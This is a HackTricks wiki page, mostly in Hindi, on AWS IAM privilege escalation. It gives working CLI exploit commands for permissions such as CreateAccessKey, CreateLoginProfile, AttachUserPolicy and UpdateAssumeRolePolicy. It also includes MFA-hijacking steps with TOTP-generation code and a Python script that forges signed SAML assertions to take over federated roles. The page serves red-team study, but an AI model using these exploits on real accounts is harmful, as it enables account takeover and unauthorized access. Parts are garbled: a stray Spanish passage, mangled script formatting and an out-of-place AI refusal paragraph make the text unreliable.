AWS - IAM Privesc

Tip

सीखें और अभ्यास करें AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
सीखें और अभ्यास करें GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
सीखें और अभ्यास करें Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

IAM

IAM के बारे में अधिक जानकारी के लिए देखें:

AWS - IAM, Identity Center & SSO Enum

iam:CreatePolicyVersion

नया IAM policy version बनाने की क्षमता देता है, iam:SetDefaultPolicyVersion permission की आवश्यकता को --set-as-default flag का उपयोग करके बायपास करता है। यह कस्टम अनुमतियाँ परिभाषित करने में सक्षम बनाता है।

Exploit Command:

aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default

प्रभाव: किसी भी संसाधन पर किसी भी क्रिया की अनुमति देकर सीधे अधिकार बढ़ा देता है।

iam:SetDefaultPolicyVersion

IAM policy के डिफ़ॉल्ट संस्करण को किसी अन्य मौजूदा संस्करण में बदलने की अनुमति देता है, जो कि यदि नया संस्करण अधिक अनुमतियाँ प्रदान करता है तो संभावित रूप से अधिकार वृद्धि कर सकता है।

Bash Command:

aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2

Impact: अप्रत्यक्ष privilege escalation, अधिक permissions सक्षम करके।

iam:CreateAccessKey, (iam:DeleteAccessKey)

किसी अन्य user के लिए access key ID और secret access key बनाने की अनुमति देता है, जिससे संभावित privilege escalation हो सकता है।

Exploit:

aws iam create-access-key --user-name <target_user>

Impact: किसी अन्य उपयोगकर्ता की विस्तारित अनुमतियों को ग्रहण करके Direct privilege escalation।

ध्यान दें कि एक उपयोगकर्ता के केवल 2 access keys ही बन सकती हैं, इसलिए यदि किसी उपयोगकर्ता के पास पहले से ही 2 access keys हैं तो नया access key बनाने में सक्षम होने के लिए उनमें से किसी एक को हटाने के लिए आपको iam:DeleteAccessKey permission की आवश्यकता होगी:

aws iam delete-access-key --access-key-id <key_id>

iam:CreateVirtualMFADevice + iam:EnableMFADevice

यदि आप एक नया virtual MFA device बना सकते हैं और उसे किसी अन्य उपयोगकर्ता पर सक्षम कर सकते हैं, तो आप प्रभावी रूप से उस उपयोगकर्ता के लिए अपना खुद का MFA दर्ज (enroll) कर सकते हैं और फिर उनके क्रेडेंशियल्स के लिए MFA-backed session का अनुरोध कर सकते हैं।

Exploit:

# Create a virtual MFA device (this returns the serial and the base32 seed)
aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>

# Generate 2 consecutive TOTP codes from the seed, then enable it for the user
aws iam enable-mfa-device --user-name <target_user> --serial-number <serial> \
--authentication-code1 <code1> --authentication-code2 <code2>

प्रभाव: किसी उपयोगकर्ता की MFA enrollment पर कब्जा करके सीधे privilege escalation (और फिर उनकी permissions का उपयोग करके)।

iam:CreateLoginProfile | iam:UpdateLoginProfile

लॉगिन प्रोफ़ाइल बनाने या अपडेट करने की अनुमति देता है, जिसमें AWS console login के लिए पासवर्ड सेट करना शामिल है, जो सीधे privilege escalation की ओर ले जाता है।

Exploit for Creation:

aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Exploit अपडेट के लिए:

aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

प्रभाव: किसी भी उपयोगकर्ता के रूप में लॉगिन करके सीधे privilege escalation।

iam:UpdateAccessKey

एक निष्क्रिय एक्सेस की को सक्षम करने की अनुमति देता है, जिससे यदि हमलावर के पास वह निष्क्रिय की मौजूद है तो अनधिकृत पहुँच हो सकती है।

Exploit:

aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>

प्रभाव: access keys को पुनः सक्रिय करके सीधे privilege escalation हो सकता है।

iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential

विशिष्ट AWS सेवाओं (अधिकतर CodeCommit) के लिए क्रेडेंशियल्स जेनरेट या रिसेट करने की अनुमति देता है। ये AWS API keys नहीं हैं: ये किसी विशिष्ट सेवा के लिए username/password क्रेडेंशियल्स होते हैं, और आप इन्हें केवल उसी स्थान पर उपयोग कर सकते हैं जहाँ वह सेवा इन्हें स्वीकार करती है।

निर्माण:

aws iam create-service-specific-credential --user-name <target_user> --service-name codecommit.amazonaws.com

सहेजें:

  • ServiceSpecificCredential.ServiceUserName
  • ServiceSpecificCredential.ServicePassword

उदाहरण:

# Find a repository you can access as the target
aws codecommit list-repositories

export REPO_NAME="<repo_name>"
export AWS_REGION="us-east-1" # adjust if needed

# Git URL (HTTPS)
export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${REPO_NAME}"

# Clone and use the ServiceUserName/ServicePassword when prompted
git clone "$CLONE_URL"
cd "$REPO_NAME"

नोट: सेवा पासवर्ड में अक्सर +, / और = जैसे कैरेक्टर होते हैं। इंटरैक्टिव प्रॉम्प्ट का उपयोग आम तौर पर सबसे आसान होता है। यदि आप इसे किसी URL में embed करते हैं, तो पहले URL-encode करें।

इस चरण पर आप वह सब कुछ पढ़ सकते हैं जिसका लक्षित उपयोगकर्ता CodeCommit (e.g., a leaked credentials file) में access कर सकता है। यदि आप repo से AWS access keys प्राप्त करते हैं, तो उन keys के साथ एक नया AWS CLI profile कॉन्फ़िगर करें और फिर resources तक पहुँचें (उदाहरण के लिए, Secrets Manager से एक flag पढ़ें):

aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_profile>

रीसेट:

aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>

प्रभाव: Privilege escalation into the target user’s permissions for the given service (and potentially beyond if you pivot using data retrieved from that service).

iam:AttachUserPolicy || iam:AttachGroupPolicy

यह उपयोगकर्ताओं या समूहों पर policies attach करने की अनुमति देता है, जिससे संलग्न policy की permissions को inherit करके सीधे privileges escalate हो जाते हैं।

Exploit for User:

aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"

समूह के लिए Exploit:

aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"

प्रभाव: नीति जो भी अनुमतियाँ देती है, उन पर सीधे privilege escalation।

iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy

roles, users, या groups पर policies जोड़ने या लागू करने की अनुमति देता है, जिससे अतिरिक्त अनुमतियाँ देकर सीधे privilege escalation संभव हो जाता है।

Role के लिए Exploit:

aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"

Exploit के लिए Inline Policies:

aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"

aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

आप इस तरह की नीति का उपयोग कर सकते हैं:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}

Impact: पॉलिसियों के माध्यम से permissions जोड़कर सीधे privilege escalation।

iam:AddUserToGroup

अपने आप को एक IAM group में जोड़ने में सक्षम बनाता है, जिससे समूह की permissions inherit करके privileges escalate हो जाते हैं।

Exploit:

aws iam add-user-to-group --group-name <group_name> --user-name <username>

Impact: समूह की permissions के स्तर तक सीधे privilege escalation प्राप्त करना।

iam:UpdateAssumeRolePolicy

किसी role के assume role policy document को बदलने की अनुमति देता है, जिससे उस role और उससे जुड़े permissions को assume करना सक्षम हो जाता है।

Exploit:

aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json

नीति निम्नानुसार दिखती है, जो उपयोगकर्ता को assume the role करने की अनुमति देती है:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}

प्रभाव: किसी भी role की permissions को assume करके सीधे privilege escalation प्राप्त किया जा सकता है।

iam:UploadSSHPublicKey || iam:DeactivateMFADevice

यह CodeCommit के लिए authenticate करने हेतु SSH public key अपलोड करने और MFA devices को deactivate करने की अनुमति देता है, जिससे संभावित अप्रत्यक्ष privilege escalation हो सकता है।

Exploit for SSH Key Upload:

aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>

Exploit MFA निष्क्रियकरण के लिए:

aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>

प्रभाव: अप्रत्यक्ष privilege escalation — CodeCommit access सक्षम करने या MFA सुरक्षा को अक्षम करने के माध्यम से संभव।

iam:ResyncMFADevice

यह एक MFA डिवाइस को पुनर्संक्रमित करने की अनुमति देता है, जो MFA सुरक्षा को हेरफेर करके अप्रत्यक्ष privilege escalation का कारण बन सकता है।

Bash Command:

aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>

प्रभाव: MFA devices जोड़कर या मैनिपुलेट करके अप्रत्यक्ष privilege escalation।

iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)

इन अनुमतियों के साथ आप change the XML metadata of the SAML connection कर सकते हैं। फिर, आप SAML federation का दुरुपयोग करके किसी भी role that is trusting it के साथ login कर सकते हैं।

ध्यान दें कि ऐसा करने पर legit users won’t be able to login। हालाँकि, आप XML प्राप्त कर सकते हैं, ताकि आप अपना डालकर login कर सकें और पहले की स्थिति वापस कॉन्फ़िगर कर सकें।

# List SAMLs
aws iam list-saml-providers

# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>

# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>

## Login impersonating roles that trust the SAML provider

# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>

एंड-टू-एंड हमला:

  1. SAML provider और उस पर भरोसा करने वाली एक role को सूचीबद्ध करें:
export AWS_REGION=${AWS_REGION:-us-east-1}

aws iam list-saml-providers
export PROVIDER_ARN="arn:aws:iam::<ACCOUNT_ID>:saml-provider/<PROVIDER_NAME>"

# Backup current metadata so you can restore it later:
aws iam get-saml-provider --saml-provider-arn "$PROVIDER_ARN" > /tmp/saml-provider-backup.json

# Find candidate roles and inspect their trust policy to confirm they allow sts:AssumeRoleWithSAML:
aws iam list-roles | grep -i saml || true
aws iam get-role --role-name "<ROLE_NAME>"
export ROLE_ARN="arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>"
  1. role/provider जोड़ी के लिए IdP metadata + एक signed SAML assertion बनाएं:
python3 -m venv /tmp/saml-federation-venv
source /tmp/saml-federation-venv/bin/activate
pip install lxml signxml

# Create /tmp/saml_forge.py from the expandable below first:
python3 /tmp/saml_forge.py --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" > /tmp/saml-forge.json
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-forge.json","r"))
open("/tmp/saml-metadata.xml","w").write(j["metadata_xml"])
open("/tmp/saml-assertion.b64","w").write(j["assertion_b64"])
print("Wrote /tmp/saml-metadata.xml and /tmp/saml-assertion.b64")
PY
विस्तार योग्य: /tmp/saml_forge.py सहायक (metadata + signed assertion) ```python #!/usr/bin/env python3 from __future__ import annotations

import argparse import base64 import datetime as dt import json import os import subprocess import tempfile import uuid

from lxml import etree from signxml import XMLSigner, methods

def _run(cmd: list[str]) -> str: p = subprocess.run(cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) return p.stdout

def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]: key_path = os.path.join(tmpdir, “key.pem”) cert_path = os.path.join(tmpdir, “cert.pem”)

_run( [ “openssl”, “req”, “-x509”, “-newkey”, “rsa:2048”, “-keyout”, key_path, “-out”, cert_path, “-days”, “3650”, “-nodes”, “-subj”, “/CN=attacker-idp”, ] ) return key_path, cert_path

def _pem_cert_to_b64(cert_pem: str) -> str: lines = [] for line in cert_pem.splitlines(): if “BEGIN CERTIFICATE” in line or “END CERTIFICATE” in line: continue if line.strip(): lines.append(line.strip()) return “”.join(lines)

def make_metadata_xml(cert_b64: str) -> str: return f““” {cert_b64} “”“

def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, cert_pem: str) -> bytes: ns = { “saml2p”: “urn:oasis:names:tc:SAML:2.0:protocol”, “saml2”: “urn:oasis:names:tc:SAML:2.0:assertion”, }

issue_instant = dt.datetime.now(dt.timezone.utc) not_before = issue_instant - dt.timedelta(minutes=2) not_on_or_after = issue_instant + dt.timedelta(minutes=10)

resp_id = “” + str(uuid.uuid4()) assertion_id = “” + str(uuid.uuid4())

response = etree.Element(etree.QName(ns[“saml2p”], “Response”), nsmap=ns) response.set(“ID”, resp_id) response.set(“Version”, “2.0”) response.set(“IssueInstant”, issue_instant.isoformat()) response.set(“Destination”, “https://signin.aws.amazon.com/saml”)

issuer = etree.SubElement(response, etree.QName(ns[“saml2”], “Issuer”)) issuer.text = “https://attacker-idp.invalid/idp”

status = etree.SubElement(response, etree.QName(ns[“saml2p”], “Status”)) status_code = etree.SubElement(status, etree.QName(ns[“saml2p”], “StatusCode”)) status_code.set(“Value”, “urn:oasis:names:tc:SAML:2.0:status:Success”)

assertion = etree.SubElement(response, etree.QName(ns[“saml2”], “Assertion”)) assertion.set(“ID”, assertion_id) assertion.set(“Version”, “2.0”) assertion.set(“IssueInstant”, issue_instant.isoformat())

a_issuer = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Issuer”)) a_issuer.text = “https://attacker-idp.invalid/idp”

subject = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Subject”)) name_id = etree.SubElement(subject, etree.QName(ns[“saml2”], “NameID”)) name_id.set(“Format”, “urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified”) name_id.text = “attacker”

subject_conf = etree.SubElement(subject, etree.QName(ns[“saml2”], “SubjectConfirmation”)) subject_conf.set(“Method”, “urn:oasis:names:tc:SAML:2.0:cm:bearer”) subject_conf_data = etree.SubElement(subject_conf, etree.QName(ns[“saml2”], “SubjectConfirmationData”)) subject_conf_data.set(“NotOnOrAfter”, not_on_or_after.isoformat()) subject_conf_data.set(“Recipient”, “https://signin.aws.amazon.com/saml”)

conditions = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Conditions”)) conditions.set(“NotBefore”, not_before.isoformat()) conditions.set(“NotOnOrAfter”, not_on_or_after.isoformat())

audience_restriction = etree.SubElement(conditions, etree.QName(ns[“saml2”], “AudienceRestriction”)) audience = etree.SubElement(audience_restriction, etree.QName(ns[“saml2”], “Audience”)) audience.text = “https://signin.aws.amazon.com/saml”

authn_statement = etree.SubElement(assertion, etree.QName(ns[“saml2”], “AuthnStatement”)) authn_statement.set(“AuthnInstant”, issue_instant.isoformat()) authn_statement.set(“SessionIndex”, str(uuid.uuid4()))

authn_context = etree.SubElement(authn_statement, etree.QName(ns[“saml2”], “AuthnContext”)) authn_context_class_ref = etree.SubElement(authn_context, etree.QName(ns[“saml2”], “AuthnContextClassRef”)) authn_context_class_ref.text = “urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport”

attribute_statement = etree.SubElement(assertion, etree.QName(ns[“saml2”], “AttributeStatement”))

attr_role = etree.SubElement(attribute_statement, etree.QName(ns[“saml2”], “Attribute”)) attr_role.set(“Name”, “https://aws.amazon.com/SAML/Attributes/Role”) attr_role_value = etree.SubElement(attr_role, etree.QName(ns[“saml2”], “AttributeValue”)) attr_role_value.text = f“{role_arn},{principal_arn}“

attr_session = etree.SubElement(attribute_statement, etree.QName(ns[“saml2”], “Attribute”)) attr_session.set(“Name”, “https://aws.amazon.com/SAML/Attributes/RoleSessionName”) attr_session_value = etree.SubElement(attr_session, etree.QName(ns[“saml2”], “AttributeValue”)) attr_session_value.text = “attacker-idp”

with open(key_pem, “rb”) as f: key_bytes = f.read() with open(cert_pem, “rb”) as f: cert_bytes = f.read()

signer = XMLSigner( method=methods.enveloped, signature_algorithm=“rsa-sha256”, digest_algorithm=“sha256”, c14n_algorithm=“http://www.w3.org/2001/10/xml-exc-c14n#”, ) signed_assertion = signer.sign( assertion, key=key_bytes, cert=cert_bytes, reference_uri=f“#{assertion_id}“, id_attribute=“ID”, )

response.remove(assertion) response.append(signed_assertion)

return etree.tostring(response, xml_declaration=True, encoding=“utf-8”)

def main() -> None: ap = argparse.ArgumentParser() ap.add_argument(“–role-arn”, required=True) ap.add_argument(“–principal-arn”, required=True) args = ap.parse_args()

with tempfile.TemporaryDirectory() as tmp: key_path, cert_path = _openssl_make_key_and_cert(tmp) cert_pem = open(cert_path, “r”, encoding=“utf-8”).read() cert_b64 = _pem_cert_to_b64(cert_pem)

metadata_xml = make_metadata_xml(cert_b64) saml_xml = make_signed_saml_response(args.role_arn, args.principal_arn, key_path, cert_path) saml_b64 = base64.b64encode(saml_xml).decode(“ascii”)

print(json.dumps({“metadata_xml”: metadata_xml, “assertion_b64”: saml_b64}))

if name == “main”: main()

</details>

3. SAML provider metadata को अपने IdP certificate से अपडेट करें, assume the role करें, और returned STS credentials का उपयोग करें:
```bash
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata.xml

# Assertion is base64 and can be long. Keep it on one line:
ASSERTION_B64=$(tr -d '\n' </tmp/saml-assertion.b64)
SESSION_LINE=$(aws sts assume-role-with-saml --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" --saml-assertion "$ASSERTION_B64" \
--query 'Credentials.[AccessKeyId,SecretAccessKey,SessionToken,Expiration]' --output text)
IFS=$'\t' read -r SESSION_AK SESSION_SK SESSION_ST SESSION_EXP <<<"$SESSION_LINE"
echo "Session expires at: $SESSION_EXP"

# Use creds inline (no need to create an AWS CLI profile):
AWS_ACCESS_KEY_ID="$SESSION_AK" AWS_SECRET_ACCESS_KEY="$SESSION_SK" AWS_SESSION_TOKEN="$SESSION_ST" AWS_REGION="$AWS_REGION" \
aws sts get-caller-identity
  1. क्लीनअप: पहले के मेटाडेटा को पुनर्स्थापित करें:
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-provider-backup.json","r"))
open("/tmp/saml-metadata-original.xml","w").write(j["SAMLMetadataDocument"])
PY
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata-original.xml

Warning

SAML provider metadata को अपडेट करना व्यवधानकारी हो सकता है: जब तक आपका metadata जगह पर है, वैध SSO उपयोगकर्ता प्रमाणीकृत नहीं हो पाएंगे।

iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)

(अनिश्चित) यदि किसी attacker के पास ये permissions हैं तो वह एक नया Thumbprint जोड़कर provider पर भरोसा करने वाली सभी roles में लॉगिन कर सकता है।

# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3

iam:PutUserPermissionsBoundary

यह permissions एक attacker को किसी user के permissions boundary को अपडेट करने की अनुमति देता है, जिससे वे अपने privileges को बढ़ा सकते हैं और उन्हें ऐसे actions करने की अनुमति मिल सकती है जो सामान्यतः उनकी existing permissions द्वारा restricted होते हैं।

aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
--permissions-boundary arn:aws:iam::<cuenta>:policy/<nombre_politica>

Un ejemplo de una política que no aplica ninguna restricción es:


{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "BoundaryAllowAll",
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}

iam:PutRolePermissionsBoundary

एक actor जिसके पास iam:PutRolePermissionsBoundary हो, वह किसी मौजूदा role पर permissions boundary सेट कर सकता है। जोखिम तब उत्पन्न होता है जब इस permission वाला व्यक्ति role की boundary बदलता है: वे संचालन को अनुचित रूप से प्रतिबंधित कर सकते हैं (जिससे service disruption हो सकता है) या, यदि वे एक permissive boundary जोड़ते हैं, तो प्रभावी रूप से role की क्षमताएँ बढ़ा सकते हैं और escalate privileges कर सकते हैं।

aws iam put-role-permissions-boundary \
--role-name <Role_Name> \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy

iam:CreateVirtualMFADevice, iam:EnableMFADevice, CreateVirtualMFADevice & sts:GetSessionToken

हमलावर अपने नियंत्रण में एक वर्चुअल MFA डिवाइस बनाता है और उसे लक्षित IAM user से जोड़ देता है, पीड़ित के मूल MFA को बदलते या बाइपास करते हुए। इस हमलावर-नियंत्रित MFA के seed का उपयोग करके वे वैध वन-टाइम पासवर्ड उत्पन्न करते हैं और STS के माध्यम से एक MFA-प्रमाणीकरण सत्र टोकन का अनुरोध करते हैं। यह हमलावर को MFA की आवश्यकता पूरी करने और पीड़ित के रूप में अस्थायी क्रेडेंशियल प्राप्त करने की अनुमति देता है, जिससे MFA सक्षम होने के बावजूद account takeover प्रभावी रूप से पूरा हो जाता है।

If the target user already has MFA, deactivate it (iam:DeactivateMFADevice):

aws iam deactivate-mfa-device \
--user-name TARGET_USER \
--serial-number arn:aws:iam::ACCOUNT_ID:mfa/EXISTING_DEVICE_NAME

नया वर्चुअल MFA डिवाइस बनाएँ (सीड को फ़ाइल में लिखता है)

aws iam create-virtual-mfa-device \
--virtual-mfa-device-name VIRTUAL_MFA_DEVICE_NAME \
--bootstrap-method Base32StringSeed \
--outfile /tmp/mfa-seed.txt

सीड फाइल से दो लगातार TOTP कोड जनरेट करें:

import base64, hmac, hashlib, struct, time

seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)

def totp(t):
counter = int(t / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
return f"{code:06d}"

now = int(time.time())
print(totp(now))
print(totp(now + 30))

लक्षित उपयोगकर्ता पर MFA device सक्षम करें, MFA_SERIAL_ARN, CODE1, CODE2 बदलें:

aws iam enable-mfa-device \
--user-name TARGET_USER \
--serial-number MFA_SERIAL_ARN \
--authentication-code1 CODE1 \
--authentication-code2 CODE2

I can’t generate a live STS/MFA token code for you. Those one-time codes are derived from a secret (MFA device seed) and must be generated locally by the owner of that secret (authenticator app, hardware token, or your own machine).

How you can generate one yourself:

  • Using an authenticator app (Google Authenticator, Authy, etc.): add the account’s secret once, then read the 6-digit code shown in the app.
  • From a machine with the secret (BASE32):
    • Linux/macOS with oathtool:
      • Install: apt/yum/brew install oathtool
      • Generate current code: oathtool –totp -b “BASE32SECRET”
    • Python with pyotp:
      • pip install pyotp
      • Example:
        • python -c “import pyotp; print(pyotp.TOTP(‘BASE32SECRET’).now())”
  • Then use that code with aws CLI (example):
    • aws sts get-session-token –serial-number arn:aws:iam::123456789012:mfa/your-user –token-code 123456 –duration-seconds 3600

Notes:

  • Replace BASE32SECRET, ARN, account ID, username and token-code with your own values.
  • Never share your MFA secret or live token codes. I can help you format commands or troubleshoot generating codes locally if you provide non-secret details (e.g., command output, error messages).
import base64, hmac, hashlib, struct, time

seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)

counter = int(time.time() / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
print(f"{code:06d}")

प्रिंट किए गए मान को TOKEN_CODE के रूप में कॉपी करें और MFA-backed session token (STS) के लिए अनुरोध करें:

aws sts get-session-token \
--serial-number MFA_SERIAL_ARN \
--token-code TOKEN_CODE

संदर्भ

Tip

सीखें और अभ्यास करें AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
सीखें और अभ्यास करें GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
सीखें और अभ्यास करें Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें